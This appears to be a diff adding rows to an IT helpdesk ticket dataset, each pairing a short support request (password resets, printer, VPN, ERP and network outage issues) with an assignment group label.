+"phone numbers for usa canada customer service team are not working, impacting all our customers for australia canada. the global_telecom_1 numbers that are not work are; + +calls to these numbers get a recording stating ""if you like to make a call please hang up and try again.""",GRP_37 +need to configure printers need to configure printers,GRP_0 +ticket update on inplant_856223 ticket update on inplant_856223,GRP_0 +"time format needs to be changed to 24 hours. time format needs to be changed to 24 hours. +computer name: awyw8328926,awyw8911727-plant_5404,awyw8911434-bnsh0504,awyw8911479-awysinic3 +-connected to the user system using teamviewer. +-contact :079 +-connected to the pc using rdp. +-added the user to the admin group. +-restarted all the pc's. +-help the user change the time zone on all the pc's. +-issue resolved.",GRP_0 +"activity 4 and 5 efficiency too high reported for usa note from omufjcxr ahypftjx - _x000D_ +_x000D_ +""do you know if the data in the activity 4 column of the work center efficiency report is accurate? for august it is showing very high efficiency, then when i check an order, the cost isn't very far off.""_x000D_ +_x000D_ +""activity 5 also looks strange in the report – for the tipset work center it isn't pulling the correct planned pieces. everything in erp looks good when i pull up the orders – just the report seems to have bad data.""",GRP_9 +windows password reset for jogt harrhntyl windows password reset for jogt harrhntyl,GRP_0 +"job Job_3194 failed in job_scheduler at: 08/31/2016 14:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3194 failed in job_scheduler at: 08/31/2016 14:15:00",GRP_10 +vip 1 fax machine with phone number 724- is not working and does not have a dial tone. fax machine with phone number 724- is not working and does not have a dial tone.,GRP_37 +i need access to the deleted folder on collaboration_platform. i can't find a mti certificate tracking form on collaboration_platform and need to make sure it wasn't deleted.,GRP_16 +reset the password for cyvdluja oxrkfpbz on other / telephony_software please reset password to telephony_software. ,GRP_7 +"collaboration_platform site not launching. _x000D_ +_x000D_ +received from: xlvuhjea.mjugvtnd@gmail.com_x000D_ +_x000D_ +dear it help desk = i am unable to navigate out via internet explorer to places like collaboration_platform or purchasing. also, skype will not open for me, and i can't see other people's availability on outlook or skype. please help_x000D_ +yes, i've tried logging off and on, and removing the battery_x000D_ +no, i haven't recently changed my homepage, but yes, i did recently change my password using password_management_tool. let me know of any questions. ",GRP_0 +unable to connect to knowledge center in commstorage_product tab unable to connect to knowledge center in commstorage_product tab,GRP_16 +"iscl collaboration_platform sites seem to be down i have tried accessing several bookmarkhtys i have within the ""iscl realm of collaboration_platform."" looks like i cannot access anything there. other people from our team are having the same issues. ",GRP_16 +unable to upload file on collaboration_platform unable to upload file on collaboration_platform,GRP_0 +domain account locked out domain account locked out,GRP_0 +"issues to log into ethics course _x000D_ +_x000D_ +received from: fmzdkyqv.dbrslnhe@gmail.com_x000D_ +_x000D_ +hi_x000D_ +i receive the following error message when trying to log into the current ethics module – might have to do with chaof primarily used e-mail to fmzdkyqv.dbrslnhe@gmail.com – please check and correct – ",GRP_23 +"operator forgot login password. qgwypesz fzsdnmrk user id:zemboks 61227 ic_x000D_ + welcome, our next available agent will be with you shortly..._x000D_ + interaction alerting agent._x000D_ + website visitor has joined the conversation_x000D_ +rakthyesh ramdntythanjesh_x000D_ + hi robhyertyj_x000D_ + ",GRP_0 +ticket update on ticket_no0431842 ticket update on ticket_no0431842,GRP_0 +"call from vitalyst : ms crm dynamics issue call from vitalyst : ms crm dynamics issue +contact : 2813",GRP_40 +"trying to sign on to purchasing system, but the website will not even load. trying to sign on to purchasing system, but the website will not even load.",GRP_0 +"soflex - dnc is not working. soflex - dnc is not working. unable to connect to datenbank. server HostName_754 should be restarted. + +phone: 49 ",GRP_12 +bad monitor - lbdw7402361 bad monitor - lbdw8513472 - near rob ripple,GRP_3 +bad monitor lbdw7402359 bad monitor lbdw8513460 - near braze line,GRP_3 +"job Job_1918c failed in job_scheduler at: 08/31/2016 12:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1918c failed in job_scheduler at: 08/31/2016 12:00:00",GRP_6 +"supply_chain_software signin + +received from: oetlgbfw.bsctrnwp@gmail.com + +my password is not working +please reset my password + +username matghyuthdw + +",GRP_0 +bad monitor lbdw7402365 bad monitor lbdw7402365,GRP_3 +"unable to connect to printer i am unable to connect to my printer and print things_x000D_ +when i try to print, it says drivers need updated, but if i go to install the drivers i get an error anyways",GRP_0 +unable to connect to vpn unable to connect to vpn,GRP_0 +"access to bw production SID_37 in erp i can log into bex via the web but it is asking for id and password. i would need access to usa (plant_137), usa (plant_33), usa (plant_92)",GRP_0 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +HostName_106:volume consumed on : c:\ is more than 85% . HostName_106:volume consumed on : c:\ is more than 85% .,GRP_12 +"consultant needs collaboration_platform access consultant, ycimqxdn wtubpdsz, requires collaboration_platform access, the same as nkqafhod xbvghozp. both users are from schneider downs._x000D_ +_x000D_ +please refer to inc1543039, submitted on august 22nd (and ticket # ticket_no1541640)._x000D_ +_x000D_ +this is needed as soon as possible, as ycimqxdn wtubpdsz has started his engagement. if he already has access, please provide the credentials he should use for his license._x000D_ +_x000D_ +please contact me with any questions._x000D_ +_x000D_ +",GRP_0 +the hr_tool portal for finance returns an error when trying to run reports the hr_tool portal for finance returns an error when trying to run reports,GRP_0 +byclpwmv esafrtbh is unable to login to ticketing_tool. byclpwmv esafrtbh is unable to login to ticketing_tool.,GRP_0 +problem with badge printer. problem with badge printer.,GRP_3 +"logging into mii supervisor dashbankrd results in error pop-up.. 'internal server error' logging into mii supervisor dashbankrd results in error pop-up.. 'internal server error'. user is a member of mii operator and mii supervisor group in ad. + +phone; :234-",GRP_41 +rechner ewew8323546; ewew8323545 neu erzeugen rechner ewew8323546; ewew8323545 neu erzeugen,GRP_24 +"vip 2 : printer not working vip 2 : printer not working _x000D_ +_x000D_ +driver update prompt",GRP_0 +issues with mic and screen shatryung on skype issues with mic and screen shatryung on skype,GRP_0 +"when connected to telekom (mobile broadband), the vpn does not work. when connected to telekom (mobile broadband), the vpn does not work._x000D_ +error : page can not be displayed._x000D_ +vpn works fine with wlan._x000D_ +",GRP_0 +"please forward emails to new address. user mexkspfc nocpyxaz +her old email address is no longer valid. it has to stay valid +autoforward it to her new one +her old one is susfhtyan.malfhklouicki@company.com",GRP_2 +ebhsm004 :volume consumed on c:\ is more than 85%. ebhsm004 :volume consumed on c:\ is more than 85%.,GRP_12 +analysis for office is not working analysis for office is not working,GRP_19 +"skype issue _x000D_ +_x000D_ +received from: zfburidj.jmilguev@gmail.com_x000D_ +_x000D_ +hi there,_x000D_ +_x000D_ +i cannot sign into skype and i have an important meeting i need to get on to this morning._x000D_ +_x000D_ +",GRP_0 +"not able to call telephony_software number of germany former germany location when try to call telephony_software number of germany former germany location (ex. 20445175 or 20455271) we could not hear each others. +i can her them, they can hear me but we cannot communicate each others. + +i did a uacyltoe hxgaycze with other locations, ex. france 20666152 or uk 20500000 and it works normally. + +",GRP_7 + ughzilfm cfibdamq called to check if the account are active ughzilfm cfibdamq called to check if the account are active,GRP_0 +outlook not working: freezing outlook not working: freezing ,GRP_0 +"erp running slow _x000D_ +_x000D_ +received from: rtpmlwnk.unpambrv@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +erp is running estorage_productly slow. i am at the usa, il reconditioning plant. with today being the last day of the month, it is imperative that we enter as many orders as possible. can you please look at this?_x000D_ +_x000D_ +",GRP_0 +"unable to print labels. no connection between the workstation and the server uxhq010. normal printing works. unable to print labels._x000D_ +_x000D_ +works fine on win 7 systems. issue is only with xp systems._x000D_ +_x000D_ +printer: wezeb02. it is a barcode printer.",GRP_24 +"the e-time system is not working. the plant controllers are receiving an error message, whenever we try to run a rpt. please review the attached document, in order to view the error message. i can be reached on my cell at 615-or my office 615",GRP_0 +"share collaboration_platform site +[‎8/‎31/‎2016 1:03 pm] + + + +hi + +matheywt rovfghesntine or me are unable to share the global recruiting team site with anyone. please advise. + +",GRP_16 +mm 7154294 - transfer pricing mm 7154294 has an average customer net price (vk13 - ztfn) for 1101 of 20.60 per pc. in october 2015 the price was per pak. why did the price switch from per pak to per pc? i would think that the price of this material should be 20.60 per pak and 2.06 per pc since it is a pack of 10. it is imperative that we fix this issue immediately as we have a short time framdntye to fix the transfer price and avoid overpaying customs duties. please advise. ,GRP_13 +"cisco access point is not working. cisco access point is not working._x000D_ +mac address : 1819db8e64",GRP_4 +"change o365 license fron s1 to k1 could you please changes the o365 license of the following employees from ""s1"" to ""k1"" +luifdsts olhryhira - 300 1000 +cost center pam001 + +cordrtegd 31544571 hlcrbuqa qznjshwm hlcrbuqa.qznjshwm@gmail.com +costarra 31505504 vtdygauw wqxcrzhj alex.costa@company.com +santodde1 31544416 tlvwusmh dbwuyxoq eder.santrtos@company.com +santossdm1 31542346 ojtmnpxc klacwufr ojtmnpxc.klacwufr@gmail.com +coutidfrc 3155574 cesarrogerio coutinho vetqkwpn.qajtdobg@gmail.com +santosdfd 31545621 delsonpereira santrtos delsonpereira.santrtos@company.com +santoes2 31565653 kgyboafv tlzsrvgw kgyboafv.tlzsrvgw@gmail.com +serravdsa 31564500 vagnerlrtopes eeserra vagnerlrtopes.eeserra@company.com + +",GRP_34 +"error message for hana and not able to open file to run quote file that i need. phone 812. when open up erp analysis for microsoft excel i get error. the error shows following message: ""the launcher is exited with error. see log file for more detail. the analysis add-in is not registered correctly""",GRP_0 +issues with company ebusiness mailbox issues with company ebusiness mailbox,GRP_0 +"hr_tool access _x000D_ +_x000D_ +received from: umzcxfah.aoshpjiu@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +i am unable to run any reports in hr_tool today. it worked fine yesterday._x000D_ +_x000D_ +please advise._x000D_ +",GRP_0 +skype : personal certificate issue skype : personal certificate issue ,GRP_0 +"change date settings-citrix-multiple users + +received from: iltcxkvw.dkwmxcgn@gmail.com + +hello team, + +i'm writing to you as a request to change the date, for a couple of citrix users, from eastern time (us&canada) to eet(eastern european time). + +users for which the date should be changed from eastern time (us&canada) to eet(eastern european time): + +· vrtvpopc + +· vvrnrtacri + +· vvrtgffada + +· vvrurtgsur + +· vvrtyjakaa + +· vvrtymitrd + +· vvdeftmea + +· vvbgrtyeleb + +· vvcodgtjud + +· vvggrthhibg + +could you please be so kind to perform the changes and let us know is additional information is required from our side? + +",GRP_12 +"no audio during meetings no audio during meetings, also, mic doesn't work",GRP_3 +missing folder in outlook missing folder in outlook,GRP_0 +unable to get the skype add-in unable to get the skype add-in ,GRP_0 +"company logo is still on the printed erp qualtiy certificates hello, _x000D_ +_x000D_ +please see attached document and e-mail with mynfoicj riuvxdas. _x000D_ +when we print out the certificate via vl02n, still the company logo is on the document. _x000D_ +_x000D_ +we got repeat trouble with custom, deliveries are stopped etc. _x000D_ +_x000D_ +",GRP_45 +ticket update on inc1546812 from dslamtcb ezbmonjr ticket update on inc1546812 from dslamtcb ezbmonjr,GRP_0 +"circuit outage:germany-1- (company):20 mbps link to global_telecom_1 mpls circuit is down since at 8:00 am et on 08/31.site have backup. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _____8:00 am et on 08/31_________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __yes______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ____global_telecom_1 # 000000221254416. _____________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_4 +"printer co16 is not printing. printer co16 is not printing. +server : \\HostName_813 +error : update driver. +contact : 812",GRP_0 +unable to launch outlook unable to launch outlook,GRP_0 +query from qdapolnv jlcavxgi query from qdapolnv jlcavxgi,GRP_0 +"lentidão da máquina favor verificar a lentidão da minha máquina, está fora do normal, mesmo sendo final de mês.",GRP_62 +"basis on-call / shift details... _x000D_ +_x000D_ +received from: mnxbeuso.rfmdlwuo@gmail.com_x000D_ +_x000D_ +team –_x000D_ +_x000D_ +please find basis weekend/weekday(night) on-call schedule and shift schedule as per attachment. this excel is in the below location in the collaboration_platform. you can save the below link so that you can use this link to find on-call/shift persons and will keep updating the excel with the details as and when required._x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +please provide full access to \\HostName_768\rtr\kcompany please provide full access to \\HostName_768\rtr\kcompany,GRP_0 +unable to connect to vpn unable to connect to vpn,GRP_0 +"password locked + +received from: ebkfwhgt.flapokym@gmail.com + +hello, +s.venkbghksh –i no-200535 ,login id :sv1 is locked.pl arrange to unlock the same immediately. + +pghjkanijkraj.s.s + + +",GRP_0 +browser issue i cannot access company collaboration_platform to sign into hr_tool,GRP_0 +"can not start netweaver _x000D_ +_x000D_ +received from: wsimcqzt.xvwzbdhq@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +during to start netweaver, system require net framdntywork 4.5._x000D_ +could you please add that on my pc._x000D_ +_x000D_ +[cid:image001.png@01d2038f.0a3ad480]_x000D_ +_x000D_ +_x000D_ +_x000D_ +mit freundlichen grugermany / with best ",GRP_0 +mobile device activation mobile device activation ,GRP_0 +"istallation of programdntymes into the new cpu _x000D_ +_x000D_ +received from: yxliakph.soucfnqe@gmail.com_x000D_ +_x000D_ +we've raised a afe for a new spindle uacyltoe hxgayczerig, wherein this cpu & monitors are to be installed, we are sending the same to you for necessary installation of programdntymes like windows 9 operating system._x000D_ +request you to do the same by tomorrow._x000D_ +best ",GRP_19 +"xjmpacye qgxrptnf cannot send delivery notes via zz_mails dear it team, _x000D_ +my colleague cannot send herself pdf´s out of erp via zz_mails. _x000D_ +the problem already exists since some days. _x000D_ +she already looged off an on from erp and windows, but it stil does not work. _x000D_ +can you please have a look?_x000D_ +",GRP_13 +"printer problem / issue information please complete all required questions below. _x000D_ +if not, it will be returned back to the gsc / requester to provide required information_x000D_ +_x000D_ + • gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart._x000D_ +_x000D_ + • printer name / make - model? (ex hq50 – wy98 - hp 8150) hr 17 plus hr 14_x000D_ + _x000D_ + • detailed description of the problem ? i am receiving an error message window box that states: install driver. when i click to install, it appears that it is working, however, i then get another message that states: the document could not be printed_x000D_ +_x000D_ + • type of documents not printing? (email – excel – word…etc) all _x000D_ + (inwarehouse_tool – delivery note – production order…etc)_x000D_ +_x000D_ + • what system or application being used at time of the problem? (ex windows / erp /kls) _x000D_ +_x000D_ + • if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed?_x000D_ +_x000D_ + • if erp system, which system? (ex SID_34 / SID_38 / hrp / plm)_x000D_ +_x000D_ + • if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?_x000D_ + what printer can it be rerouted too? _x000D_ +_x000D_ + • if document is not printing correctly, please scan copy of the document and attach to the ticketing_tool ticket.",GRP_0 +"multiple shop floor employees getting locked out of mii in usa ohio please help unlock the accounts of the following employees +they are currently unable to log into mii and record production / value add + +1) keghn zanegtyla : clock# 6654525 +2) pfxwuvce hcbmiqdp : clock# 6656800 + +",GRP_0 +"need access to my drive (please check her account) _x000D_ +_x000D_ +received from: ybhazlqp.zfghsxiw@gmail.com_x000D_ +_x000D_ +hallo it team,_x000D_ +_x000D_ +wie verbinde ich mich zu meinen netzlaufwerk, „apptc""?_x000D_ +der zugang ist seit gestern weg._x000D_ +_x000D_ +danke und gruß,_x000D_ +ybhazlqp zfghsxiw_x000D_ +_x000D_ +_x000D_ +[cid:image001.png@01d2038b.SID_41fdaf0]_x000D_ +_x000D_ +",GRP_2 +"additional corrections of sales org 1278 and company address/phone numbers required after germany move 1. sales organisation address 1278 – phone number and fax number need to be reversed to original phone/fax number from fürth. 0911…_x000D_ +2. plant address plant_124 – phone /fax numbers need to be adjusted to show germany central phone numbers/fax_x000D_ +3. company code address of 5278 need to be reverted back! address is in fürth not in germany_x000D_ +_x000D_ +details are attached to the ticket.",GRP_13 +setup outlook \ wareneingang \vzqomdgt jwoqbuml setup outlook \ wareneingang \vzqomdgt jwoqbuml,GRP_24 +outlook not accepting password : outlook 2010 outlook not accepting password : outlook 2010,GRP_0 +.rar file query .rar file query,GRP_0 +ad password reset ad password reset ,GRP_0 +"erp problem! - SID_34 - unable to delete customer from personal value list user ""ripfghscp"" has accidently added one customer to her personal value list. + +now the customer shows up in every sales document as ""default"" not allowing to search for different customers. + +please check and provide a short tutorial how to solve this problem. + +daily work is heavily influenced! + +",GRP_0 +"network outage:barcelona - tesscenter 1:site is hard down since at 5:44 am et on 08/31.no backup on site. what type of outage: __x___network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ____5:44 am et on 08/31__________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _______ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? _na_____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __na______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ___email______ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +edit user is not working edit user hangs forever in the user admin management screen and unable to submit the user assignments.,GRP_21 +reset passwords for bxeagsmt zrwdgsco using password_management_tool password reset. the,GRP_17 +"access required _x000D_ +_x000D_ +received from: hjkyqecw.ixdsbwoz@gmail.com_x000D_ +_x000D_ +pl provided access to folder with all rights \\HostName_95\mtdesign\company machine manuals._x000D_ +_x000D_ +with best ",GRP_12 +"my sysetem remote access _x000D_ +_x000D_ +received from: utgszjrf.pacfvxzk@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +my system is cant able remote access so me look into that .awyw8328084_x000D_ +_x000D_ +with ",GRP_0 +"request for solid works viewer in wrench_engineering_tool _x000D_ +_x000D_ +received from: xnzfsmue.kwsazpeu@gmail.com_x000D_ +_x000D_ +kindly provide the solid work viewer in wrench_engineering_tool to my computer,_x000D_ +comp name:awyw8911785_x000D_ +_x000D_ +",GRP_19 +call from third party to talk to it head to present themselves call from third party to talk to it head to present themselves,GRP_0 +"windows user id + +received from: ilbkhgxd.hirsqytd@gmail.com + +help desk + +please provide the windows user id to below user. + +user id : gb3ytu +name : g bfghabu + +",GRP_0 +wifi is not working wifi is not working ,GRP_0 +windows account locked windows account locked,GRP_0 +"can not access to skpye for business contact phone:497 or 18621, can not access to skpye for business, user name or password wrong",GRP_19 +reaktivieren alte laptop hr. mghllenbecfnfk \bctypmjw cbhnxafz reaktivieren alte laptop hr. mghllenbecfnfk \bctypmjw cbhnxafz,GRP_24 +"job Job_728 failed in job_scheduler at: 08/31/2016 03:44:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_728 failed in job_scheduler at: 08/31/2016 03:44:00",GRP_8 +"issue with hr_tool _x000D_ +_x000D_ +received from: ntuhoafg.bzwefjvk@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +please look in to the below screenshot and help to resolve the issue._x000D_ +_x000D_ +[cid:image001.jpg@01d20389.31ea5790]_x000D_ +_x000D_ +_x000D_ +",GRP_53 +reinstall office2010 \ bctypmjw cbhnxafz reinstall office2010 \ bctypmjw cbhnxafz,GRP_24 +probleme mit EU_tool \we_wu106 \xaqzisrk ahbgjrqz probleme mit EU_tool \we_wu106 \xaqzisrk ahbgjrqz,GRP_24 +"please switch of tr telephony_software today from 09:30 to 09:45 cet this is last call meeting that was set up by fhtyulvio and all of them have to participate. + +if you are not able to do it, and maybe it is even easier, then please remove any abandon that may take place during these 15 mins +",GRP_7 +"last login on company laptop _x000D_ +_x000D_ +received from: htnvbwxs.gwfrzuex@gmail.com_x000D_ +_x000D_ +good day._x000D_ +_x000D_ +please assist:_x000D_ +_x000D_ +please can you check when/who was the last login was on company laptop ekpl8111112?_x000D_ +_x000D_ +",GRP_65 +"engineering tool not opening _x000D_ +_x000D_ +received from: vsiemxgh.lgeciroy@gmail.com_x000D_ +_x000D_ +dear sir/mam,_x000D_ +_x000D_ +kindly refer the below screenshot. my engineering tool is not opening and showing the below error._x000D_ +request you to resolve the issue immediately._x000D_ +_x000D_ +[cid:image001.jpg@01d20383.bbe2d590]_x000D_ +_x000D_ +best ",GRP_0 +"missrouting of printouts: check settings if printing invoiuce to printer ag28 / fürth and change printer to jc00 / _x000D_ +_x000D_ +received from: tkuivxrn.urdgitsv@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +settings in erp SID_34 system of printing inwarehouse_tool e.g. 0158047476 are wrong (plant_168 to plant_113 shipments)._x000D_ +_x000D_ +please change setting to printer jc00, due to no requirement to continue printing these paper in fürth = protect the planet._x000D_ +_x000D_ +many ",GRP_13 +please change password and pin for the EU_tool please change password and pin for the EU_tool,GRP_59 +"stock issue for mm 1021381 _x000D_ +_x000D_ +received from: rgtoger.lfgtiu@company.com_x000D_ +_x000D_ +hello it_x000D_ +_x000D_ +please help check the issue below, there are 90pcs stock under plant_283, but in code: zme2o, there is 0 stock, so can't run the dn. ",GRP_29 +"vpn link _x000D_ +_x000D_ +received from: neoarmgd.meodvbxu@gmail.com_x000D_ +_x000D_ +hello_x000D_ +_x000D_ +i am not able to log on to above network with me windows login credentials._x000D_ +_x000D_ +_x000D_ +please check and resolve, as my work is getting hampered._x000D_ +_x000D_ +_x000D_ +",GRP_0 +"ooo : !3.09.2016issues with mailbox "" company"" + +received from: fbyusmxz.kxvmcbly@gmail.com + +hello, + +i am owner of the common mailbox "" company"" +i have created a new folder ""xxxxx"" under the folder inbox for uacyltoe hxgayczeing. +[cid:image001.png@01d2035c.6d1b0e90] + +all other members of this shared mailbox can not see the folder ""xxxxx"" and i can not delete it anymore. +i can click on ""delete folder"" and get no error message, but the folder is still there… + +also other members have created folders under the folder inbox – e.g. soedjitv wvprteja (scherfgpd) has created the folder ""uacyltoe hxgaycze2"". +the folder ""uacyltoe hxgaycze2"" is only visible for her. +also for me – as the owner – the folder is not visible. +something is wrong with this mailbox. +could you please check. +",GRP_0 +"vfx3 - 1417 - foreign trade data missing dear it team,_x000D_ +_x000D_ +i checked this morning vfx3, unfortunately, there are still 4 entries, where i do not know what to do._x000D_ +can you please check?_x000D_ +inwarehouse_tool 0158898835: pricing error_x000D_ +inwarehouse_tools 0158947538, 0158027980 and 0158027991: i completed the foreign trade data, but the error is still coming. _x000D_ +_x000D_ +as we have months end, we need to fix this today._x000D_ +_x000D_ +",GRP_13 +"电脑运行速度超级慢，打开一个erp新的界面和打开office文件都需要5秒钟以上。转贺正平 + +received from: tuqrvowp.fxmzkvqo@gmail.com + +hello team, + +电脑运行速度超级慢，打开一个erp新的界面和打开office文件都需要5秒钟以上。转贺正平 + + + +tuqrvowp fxmzkvqo 钱唐鑫 +human resources +tuqrvowp.fxmzkvqo@gmail.com +",GRP_30 +"wifi disconnecting _x000D_ +_x000D_ +received from: puxiomgy.ndjorwab@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am puxiomgy ndjorwab from india branch._x000D_ +i am facing issue of wi-fi network disconnecting every 5-10 mins when seated at 2nd floor admin building._x000D_ +request you to arrange to resolve at the earliest._x000D_ +_x000D_ +",GRP_19 +"circuit outage:usa nc vpn circuit is down at 12:32 am et on 08/31. site is up on primary circuit. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____no_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________12:32 am et on 08/31______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _____no__ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? _____yes___ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? _____na______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ____yes___ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +mii password reset & unlock account mii password reset & unlock account,GRP_0 +unable to login to erp unable to login to erp,GRP_0 +please process the billing accounting (0372101858) in erp. please process the billing accounting (0372101858) in erp. ,GRP_10 +"data card _x000D_ +_x000D_ +received from: dwujlnhs.ecxvrpyl@gmail.com_x000D_ +_x000D_ +dear sir_x000D_ +_x000D_ +i have received new system, but there is no data card along with that._x000D_ +kindly arrange to send me data card._x000D_ +_x000D_ +best ",GRP_19 +"engineering tool issue _x000D_ +_x000D_ +received from: dwujlnhs.ecxvrpyl@gmail.com_x000D_ +_x000D_ +dear sir_x000D_ +_x000D_ +i had received new system last week. there was no engineering tool, i downloaded engineering tool but unable to see my old uploaded reports kindly resolve._x000D_ +_x000D_ +best ",GRP_19 +"assignment field for edi posting _x000D_ +_x000D_ +received from: ihfkwzjd.erbxoyqk@gmail.com_x000D_ +_x000D_ +dear it team_x000D_ +_x000D_ +i found that dn number has not been shown on assignment field for edi posting transaction as below. what is the changes or error on this? please confirm_x000D_ +we need to use dn number to do intercompany reconciliation on the month end process._x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01d2037a.adf650a0]_x000D_ +_x000D_ +[cid:image002.jpg@01d2037a.adf650a0]_x000D_ +_x000D_ +best ",GRP_10 +kindly replace the mouse as it is not working kindly replace the mouse as it is not working ,GRP_19 +windows account locked windows account locked ,GRP_0 +"engineering_tool上传不了 报警显示没有建立网络连接，但是vpn已经连接。_x000D_ +修改完密码之后就上传不了 了",GRP_31 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +"SID_1 erp uacyltoe hxgaycze - login issue & password reset. _x000D_ +_x000D_ +received from: ilbkhgxd.hirsqytd@gmail.com_x000D_ +_x000D_ +help desk_x000D_ +_x000D_ +following issue is faced when i was trying to login in SID_1 erp uacyltoe hxgaycze. please go through below screen shot & do the needful._x000D_ +_x000D_ +[cid:image004.png@01d20366.2d0ed520][cid:image005.png@01d20366.2d0ed520][cid:image003.png@01d20365.ffbcf700]_x000D_ +_x000D_ +since i used this system long back i would like to request you to do password reset. please do the needful at the earliest._x000D_ +_x000D_ +",GRP_0 +windows password reset windows password reset ,GRP_0 +erp SID_34 account locked erp SID_34 account locked ,GRP_0 +abend batch job Job_3028 failed in job_scheduler at: 08/30/2016 22:02:23 job name:Job_3028 failed in job_scheduler,GRP_45 + mii password reset & unlock account mii password reset & unlock account,GRP_0 +"job Job_549 failed in job_scheduler at: 08/30/2016 22:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_549 failed in job_scheduler at: 08/30/2016 22:30:00",GRP_8 +"job SID_50filesys failed in job_scheduler at: 08/30/2016 22:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_50filesys failed in job_scheduler at: 08/30/2016 22:09:00",GRP_8 +"when i create a recurring appointment in mds i get an error record is unavailable when i create a recurring appointment in mds i get an error record is unavailable. this occurred in uacyltoe hxgaycze. see attachment_x000D_ +",GRP_40 +"i paid to vendor (2111101830) in aug.29.2016, but i don't clear this vendor in t-code (f-53). i paid to vendor (2111101830) in aug.29.2016, but i don't clear this vendor in t-code (f-53). erp show: no open items were found,but it has item in t-code (fbl1n) .",GRP_10 +"my outlook and skype does not work when i am at home. it only works in the office. name:callie pollaurid +language: +browser:microsoft internet explorer +email:xzupryaf.vlbikhsm@gmail.com +customer number: +telephone:724 +summary:my outlook and skype does not work when i am at home. it only works in the office.",GRP_0 +skype 不能登录，提示证书错误。 skype 不能登录，提示证书错误。,GRP_31 +system not responding system not responding,GRP_0 +"it assistance _x000D_ +_x000D_ +received from: oydlehun.svnfrxdk@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i'm putting up this it ticket on behalf of nzuofeam exszgtwd whose notebook cannot boot up due to hardware failure._x000D_ +_x000D_ +please assist immediately. ",GRP_19 +multiple display not working multiple display not working,GRP_0 +erp account unlock erp account unlock,GRP_0 +tablet not booting tablet not booting,GRP_0 +"log in permissions not working. need to change password also. please call me name:etlfrucw ziewxqof +language: +browser:microsoft internet explorer +email:etlfrucw.ziewxqof@gmail.com +customer number: +telephone:519 +summary:log in permissions not working. need to change password also. please call me +ic + welcome, our next available agent will be with you shortly... + interaction alerting agent. + website visitor has joined the conversation +rakthyesh ramdntythanjesh + 